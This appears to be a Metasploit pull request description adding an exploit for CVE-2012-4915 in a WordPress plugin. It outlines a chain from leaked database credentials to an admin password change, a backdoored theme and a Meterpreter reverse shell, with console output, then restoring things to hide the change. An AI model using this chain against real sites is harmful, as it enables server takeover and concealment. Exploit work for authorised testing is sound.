rapid7/metasploit-framework — pull request #1252 by CharlieEriksen (2013-01-05 18:45:59+00:00)
Title: Adding exploit for CVE-2012-4915

This module exploits a flaw in the Google Document Embedder plugin for Wordpress to disclose DB credentials to a WP instance.

By escalating our privileges with the DB access we most likely get from that, we can:
- Find an admin user
- Change his password
- Log into the Wordpress admin interface
- Edit the theme to include our code execution payload
- Execute the payload
- Change back the theme and password to normal, leaving nothing changed

msf exploit(wp_google_document_embedder_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.103:4444
[*] Fetching wp-config.php
[*] Parsing config file
[*] Admin password changed to: pMY6eax7
[*] Editing theme twentytwelve
[*] Calling backdoor
[*] Sending stage (40384 bytes) to 192.168.1.116
[*] Meterpreter session 5 opened (192.168.1.103:4444 -> 192.168.1.116:51885) at 2013-01-05 18:38:28 +0000
[*] Shell acquired. Disabled backdoor

meterpreter > getuid
Server username: SYSTEM (0)
meterpreter >

Latest vulnerable version can be downloaded at:
http://downloads.wordpress.org/plugin/google-document-embedder.2.4.6.zip